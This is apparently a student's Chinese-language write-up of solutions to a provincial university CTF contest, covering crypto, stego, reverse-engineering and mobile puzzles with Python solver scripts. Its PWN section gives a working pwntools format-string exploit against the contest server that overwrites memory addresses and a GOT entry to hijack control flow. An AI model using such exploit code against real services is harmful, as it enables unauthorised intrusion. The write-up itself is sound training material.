第八屆山東省大學生網絡安全技能大賽部分Writeup

目錄

Misc-簽到題(5pt)

Misc-上下左右(15pt)

Misc-壓縮包的祕密(10pt)

Stego-啾咪~(5pt)

Stego-我和我的祖國(20pt)

Crypto-簡單的密碼學(5pt)

Crypto-小明的祕密(15pt)

Forensic-日誌分析(10pt)

Reverse-python是最好的語言(15pt)

Mobile-第一題(10pt)

Mobile-貪吃蛇(20pt)

PWN-銅牌2MinZhu(25pt)

總結


 

Misc-簽到題(5pt)

flag會一個一個輸出,但是太太太慢啦!

IDA走起,flag出現

Misc-上下左右(15pt)

這題比賽上沒做出來,真的扎心了(15分啊),還以爲是個迷宮,結果。。

數據只有R L U D四個字母組成,結合題目:

R-right    L-left    U-up    D-down

畫圖(吐血):(用PIL畫也可以)

import numpy as np
s='DDDDDDDDDRRRRRRDDDDDDDDDDDDDDDDLLLDDDDDDDDDDDLLRRRRLLDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUURRRRRRRUUUUUUUUUUUUUUUDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUURRRRRRRRUUUUUUUUUUULLLLLRRRRRRLDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLUUUUUUUUUUUUUURRRRUUUUURRRRRUUUUUUUUUUURRRRRDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLLUUUUUUUUUUUUUUUUUUUDDDDDDDDDDDDDDDDDDDRRRRRRLDDDDDDDDDDDDDLLLLLLLRRRRRRRRLUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUURRRRRUUUUUUUUUUUUUUUUURRLLDDDDDDDDDDDDDDDDDDDDDDLLDDDDRRDDDDDDDDDDDDDDDDDDDDDDDRRLLUUUUUUUUUUUUUUUUUUUUUUULLUUUURRUUUUURRRRRRRRUUUUUUUUUUULLLLLRRRRRRLDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLUUUUUUUUUUUUUURRRRUUUUURRRRDDDDDDDDDDDDDDDDDDDDDDRRRRRLLLLLUUUUUUUUUUUUUUUUUUUUUURRRRRUUUUUUUUUUUUUUUULLLLLRRRRRDDDDDDDDDDDDDDDDRRRUUUUUUUUUUUUUUUURRRRLLLLDDDDDDDDDDDDDDDDRRRRDDDDDDDDDDDDDDDDDDDDDDLLLLRRRRUUUUUUUUUUUUUUUUUUUUUURRRRRUUUUUUUUUUUUUUUURRRRRDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLLUUUUUUUUUUUUUUUUUUUUUURRRRRRRRRRRRUUUUUUUUUUUUUUUULLLLLRRRRRDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLLRRRRRUUUUUUUUUUUUUUUUUUUUUURRRRRRRUUUUUUUUUUUUUUUULLLLLRRRRRDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLLRRRRRUUUUUUUUUUUUUUUUUUUUUURRUUUUUUUUUUUUUUUURRRRRDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLLUUUUUUUUUUUUUUUUUUUUUURRRRRRRRRRUUUUUUUUUUUUUUUUUUUUULLLRRRDDDDDDDDDDDDDDDDDDDDDDDDRRDDDDLLDDDDDDDDDDDDDDDDDDDDLLL'
flag =np.zeros((199,100))
x=0
y=0
for i in range(len(s)):
	if(s[i]=='D'):
		y=y+1
		flag[x][y]='1'
	elif(s[i]=='U'):
		y=y-1
		flag[x][y]='1'
	elif(s[i]=='R'):
		x=x+1
		flag[x][y]='1'
	elif(s[i]=='L'):
		x=x-1
		flag[x][y]='1'
f = open('flag.txt', 'w', encoding='utf-8')
for j in range(100):
	s=''
	for z in range(199):
		if(str(flag[z][j])=='0.0'):
			s+=' '
		else:
			s+='x'
	f.write(s)
	f.write('\n')
f.close

Misc-壓縮包的祕密(10pt)

一個壓縮包,但打不開,winhex打開看看怎麼回事

zip文件頭應該是504B0304,但這裏是4B500403。而且最後的base64也解不出來,"flag.txt"每兩位顯示反了(lfgat.tx)

先修復zip文件

S='4B50040300140009000872D74F55439F46CE0034000000260000000800006C666761742E7478C21C1AF9380F7F03C962F53BED1B5385CA595270F34D7C254B8FC92A76A115C99800EFAA55BF064FF3E37E7CF843E767B1DB813A4B500807439F46CE00340000002600004B500201001F00140009000872D74F55439F46CE00340000002600000008002400000000000000200000000000006C666761742E7478000A0020000000000001001844B9F4F387D701D53904C216855101D53904C216855101D54B5006050000000000010001005A0000006A000000800D09200A20200D20200A0A0D09200D20200A0A0D2009202009200A0D20200A0D20200D20090A202020200D09200A20200D20200A0D09200A20090D20200A09200D20090A202020200D09200A09090D20200A09090A0D20090D20090A202020200D09200A20200A0D20090D20090A0D20200A0D20200A20200A0D200920090A0D47646C686D6374555861744D47617346695A77313264745132636C686E62704E'
s1=''
for i in range(int(len(S)/4)):
	s1+=S[4*i+2]
	s1+=S[4*i+3]
	s1+=S[4*i]
	s1+=S[4*i+1]
print(s1)

用打印出的16進制新建一個zip,就可以正常打開了,但是需要密碼

 

最後的那個base64也可以正常解碼得到:

壓縮包密碼的一半是"shensi",(當時比賽時一番操作猛如虎,另一半也沒找出來。)

比賽結束後隊友告訴我要用掩碼爆破(之前沒用過,學習了)

掩碼先試了試  "shensi??????"  結果不出來,原來這個shensi是後六位,要用 "??????shensi爆破"

居然用比賽簡稱當的密碼:sdniscshensi

解壓即可得到flag.txt

Stego-啾咪~(5pt)

zsteg秒出flag,base64解密即可(隊友說Stegsolve也可做出來)

Stego-我和我的祖國(20pt)

沒做出來。賽後得知祕密在音頻的最後:

上代表1,下代表0,8位一組二進制代表一個字符,保存

f = open('wodezuguo.txt')
flag=''
for i in range(0,38):
	line = str(f.readline())
	l = int(line[0:8],2)
	flag+=chr(l)
print(flag)
#flag{fe8fd46820513b54cdd59b0485719f94}

Crypto-簡單的密碼學(5pt)

hellO everyone,Are YOU huNGrY? woUld you li To eAt BAcon?

只有一段話,最後很明顯提示是培根密碼

培根密碼加密後的數據只會有a和b,所以這裏猜測把小寫字母改爲a,大寫字母改爲b,空格及符號去掉

即可得到:aaaabaaaaaaaabaabbbaabbabaabaaaaaaabaababbaaa

解密:

import re
# 培根加密有兩種
class Baconian():
    alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u',
                'v', 'w', 'x', 'y', 'z']
    first_cipher = ["aaaaa", "aaaab", "aaaba", "aaabb", "aabaa", "aabab", "aabba", "aabbb", "abaaa", "abaab", "ababa",
                    "ababb", "abbaa", "abbab", "abbba", "abbbb", "baaaa", "baaab", "baaba", "baabb", "babaa", "babab",
                    "babba", "babbb", "bbaaa", "bbaab"]
    second_cipher = ["aaaaa", "aaaab", "aaaba", "aaabb", "aabaa", "aabab", "aabba", "aabbb", "abaaa", "abaaa", "abaab",
                     "ababa", "ababb", "abbaa", "abbab", "abbba", "abbbb", "baaaa", "baaab", "baaba", "baabb", "baabb",
                     "babaa", "babab", "babba", "babbb"]
    def __init__(self, str):
        self.str = str
    def decode(self):
        str = self.str.lower()
        str_array = re.findall(".{5}", str)
        decode_str1 = ""
        decode_str2 = ""
        for key in str_array:
            for i in range(0,26):
                if key == Baconian.first_cipher[i]:
                    decode_str1 += Baconian.alphabet[i]
                if key == Baconian.second_cipher[i]:
                    decode_str2 += Baconian.alphabet[i]
        print(decode_str1)
        print(decode_str2)
if __name__ == '__main__':
    str = 'aaaabaaaaaaaabaabbbaabbabaabaaaaaaabaababbaaa'
    bacon = Baconian(str)
    bacon.decode()

得到flag:baconeasy

Crypto-小明的祕密(15pt)

RSA

給了e,n,dp,c

先求p和q

import gmpy2
from Crypto.Util.number import long_to_bytes
from md5 import md5
import random
def gcd(a, b):  
   if a < b:  
     a, b = b, a  
   while b != 0:  
     temp = a % b  
     a = b  
     b = temp  
   return a  

def getpq(n,e,d):  
    p = 1  
    q = 1  
    while p==1 and q==1:  
        k = d * e - 1  
        g = random.randint ( 0 , n )  
        while p==1 and q==1 and k % 2 == 0:  
            k /= 2  
            y = pow(g,k,n)  
            if y!=1 and gcd(y-1,n)>1:  
                p = gcd(y-1,n)  
                q = n/p  
    return p,q  
def main():
    n = 132874559018378928431039440207926203692459793792348908672840445003264268709142821089064063059664054997624354040367339834740402484489217092916932927523665031792688652405172441259540233143526085691290500429921362666149858204259223146323188880312113596285869242888916181594189809400830983088384594648368192585387  
    e = 65537  
    d = 591317922916712527852981087692920294081526731184970969084059479425641071480269272618065340614260809042370271672930352969371906804874484366604552515101473  
    p ,q = getpq(n,e,d)
    print p
	#10764778531720163593861339317814143698116949272685956222461668361977288583778446477658374507732447400613839026285787928487146293408627522759489599495057011
    print q
	#12343454965361574101716097384276455818745801923162105367552839183537905176166495430935122527638923055410806490319187811217211719318448241345074351522474217
    #print "FLag is flag{%s}" % md5(str(p + q)).hexdigest()
if __name__ == "__main__":
    main()

 得到了p和q就好辦了

import gmpy2
from Crypto.Util.number import long_to_bytes ,bytes_to_long
import base64
e=65537 
n=132874559018378928431039440207926203692459793792348908672840445003264268709142821089064063059664054997624354040367339834740402484489217092916932927523665031792688652405172441259540233143526085691290500429921362666149858204259223146323188880312113596285869242888916181594189809400830983088384594648368192585387
p=10764778531720163593861339317814143698116949272685956222461668361977288583778446477658374507732447400613839026285787928487146293408627522759489599495057011
q=12343454965361574101716097384276455818745801923162105367552839183537905176166495430935122527638923055410806490319187811217211719318448241345074351522474217
phi=(q-1)*(p-1)
d = gmpy2.invert(e, phi)  #(e * d) % phi = 1
c = 105561263344197224500437985369890277605607419491189003046055021715638244356677672489534224683808733691744645034854814587326664189059178955870261337977176277155277781998771630340367082086864012637516012166291357901866101513273848851471805311144501065601880125348980410104702516232148506526616670074084982119236
m = pow(c, d, n)
print(m)
flag = long_to_bytes(m)
print(flag)
#b'flag{271c7ec33858d491f88a83e3d35ac411}'

Forensic-日誌分析(10pt)

這也太多了吧,找一下和flag相關的信息

猜測是sql盲注,把信息提取出來,選擇每組(C1、C2...C38)最後一個返回值爲215的數據記錄【紅色框】(209的不對)

連在一起即是flag

s=[102,108,97,103,123,54,55,54,98,97,51,49,98,98,56,97,55,53,102,56,102,100,49,101,102,51,51,56,49,56,100,48,52,99,100,49,100,125]
f=''
for i in range(len(s)):
	f+=chr(s[i])
print(f)
#flag{676ba31bb8a75f8fd1ef33818d04cd1d}

Reverse-python是最好的語言(15pt)

pyc反編譯。記得剛學逆向的時候做過,但比賽時居然忘了改pyc文件頭這一步了。(太笨了)

先winhex打開看一下文件頭:

33 0D,說明現在他“是”一個python3.6的文件,但爲什麼反編譯不了呢,因爲他其實不是python3.6的。這裏猜測他應該是3.7(42 0D)或者2.7(03 F3)

發現改爲03 F3後就反編譯成功了(反編譯工具: uncompyle6)

uncompyle6 flag.pyc > flag.py

# uncompyle6 version 3.3.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.7.3 (v3.7.3:ef4ec6ed12, Mar 25 2019, 22:22:05) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: flag.py
# Compiled at: 2019-10-21 14:01:56
import math
flag = 'flag{**********************}'
Sd = []
SdSd = []
for SdSdSdSd in flag:
    Sd.append(ord(SdSdSdSd))

def func(SdSdSd):
    SdSdSdSdSd = True
    SdSdSdSd = 2
    sq = int(math.sqrt(SdSdSd)) + 1
    while SdSdSdSd <= sq:
        if SdSdSd % SdSdSdSd == 0:
            SdSd.append(SdSdSdSd + 1)
            SdSdSdSdSd = False
            func(SdSdSd / SdSdSdSd)
            SdSdSdSd += 1
            break
        SdSdSdSd += 1

    if SdSdSdSdSd:
        SdSd.append(SdSdSd + 1)


for SdSdSdSd in Sd:
    func(SdSdSdSd)
    print SdSd,
    SdSd = []
# okay decompiling 111.pyc

 逆向的話感覺有點麻煩,來個爆破

import math
flag = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{+-*/}'
f = [[3, 4, 18], [3, 3, 4, 4, 4], [98], [104], [4, 42], [102], [3, 8, 8], [3, 3, 3, 3, 4], [4, 4, 12], [3, 4, 18], [3, 6, 6], [3, 4, 18], [8, 8], [3, 8, 8], [3, 4, 18], [4, 4, 12], [4, 20], [4, 20], [4, 20], [3, 3, 3, 3, 4], [102], [102], [4, 18], [3, 3, 6, 6], [4, 18], [4, 20], [4, 20], [98], [3, 6, 6], [3, 8, 8], [3, 8, 8], [3, 3, 6, 6], [102], [4, 18], [3, 3, 6, 6], [3, 3, 6, 6], [3, 3, 14], [6, 6, 6]]
Sd = []

SdSd = []
for SdSdSdSd in flag:
    Sd.append(ord(SdSdSdSd))
def func(SdSdSd):
    SdSdSdSdSd = True
    SdSdSdSd = 2
    sq = int(math.sqrt(SdSdSd)) + 1
    while SdSdSdSd <= sq:
        if (SdSdSd % SdSdSdSd) == 0:
            SdSd.append(SdSdSdSd + 1)
            SdSdSdSdSd = False
            func(SdSdSd / SdSdSdSd)
            SdSdSdSd += 1
            break
        SdSdSdSd += 1

    if SdSdSdSdSd:
        SdSd.append(SdSdSd + 1)

flag_str = ''
for i in range(38):
	for SdSdSdSd in Sd:
		func(SdSdSdSd)
		strsdsd = str(SdSd).replace('.0','')
		if(strsdsd == str(f[i])):
			flag_str += chr(SdSdSdSd)
		SdSd = []
print(flag_str)
#flag{eb0cf2f1bfc9990ee3d399a2bbde3dd4}

Mobile-第一題(10pt)

jeb打開,很簡單的逆向題

v='sic19Sdc02ds10c'
s1='Sdnisc2019'
f=''
for i in range(len(v)):
	for j in range(len(s1)):
		if(s1[j]==v[i]):
			f += str(j)
print(f)
#435890157614875

再md5加下密即可,或者去模擬器下體驗下獲取flag的快感(無)

Mobile-貪吃蛇(20pt)

太難玩了55555

關鍵函數在這:

第一個參數是90,要求90與兩個數字組成一個字符串,長度爲8,那麼就先猜測兩個都是3位的。之後base64加密,再md5加密,要求等於"cc3fa9c107c0d8b48d6af32d26eacf2a"

爆破即可:

import hashlib
import base64
from Crypto.Util.number import long_to_bytes ,bytes_to_long

s = 'cc3fa9c107c0d8b48d6af32d26eacf2a'
for a2 in range(100, 999):
	for a3 in range(100, 999):
		s1 = b'90%3d%3d' % (a2, a3)
		str = base64.b64encode((s1))
		m = hashlib.md5()
		m.update(str)
		md5 = m.hexdigest()
		if s == md5:
			print (md5)
			print (s1)
#cc3fa9c107c0d8b48d6af32d26eacf2a
#b'90585675'

flag{90585675}

PWN-銅牌2MinZhu(25pt)

angr大法好,上個星期剛學了angr,沒想到這就用上了。

程序有兩個函數,第一個相當於一個逆向,要求出來key才能進入第二步。

逆的話還得動態調試分析,太麻煩了,angr直接獲取:(angr安裝:https://blog.csdn.net/Hotspurs/article/details/102711880

import angr
proj = angr.Project("./pwn_MinZhu")

simgr = proj.factory.simgr()

simgr.explore(find=lambda s: b"Hi,  SDNISC 2019 ~~~" in s.posix.dumps(1))

print simgr.found[0].posix.dumps(0)

不到10秒就得到了Key,進入下一個函數

格式化字符串漏洞,而且發現與去年的很像。。

from pwn import *
context.log_level = 'debug'
cn = remote('172.29.1.28',9999)
#cn = process('pwn_MinZhu')
print 'next'
cn.recvuntil('Key:')
cn.sendline('xNd9y6')
print 'next'
cn.recvuntil('your msg:')
payload = fmtstr_payload(4,{0x0804A064:0x3})
cn.sendline(payload)
payload = fmtstr_payload(4,{0x0804A060:0x2019})
cn.sendline(payload)
payload = fmtstr_payload(4,{0x804a01c:0x08048696})
cn.sendline(payload)
cn.interactive()


#xNd9y6

總結

第一次打省賽,個人賽拿了個二等獎,雖然對結果還算滿意,但感覺許多題還是應該做出來的。

以後好好學下pwn,爲今後的比賽做更好的準備。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章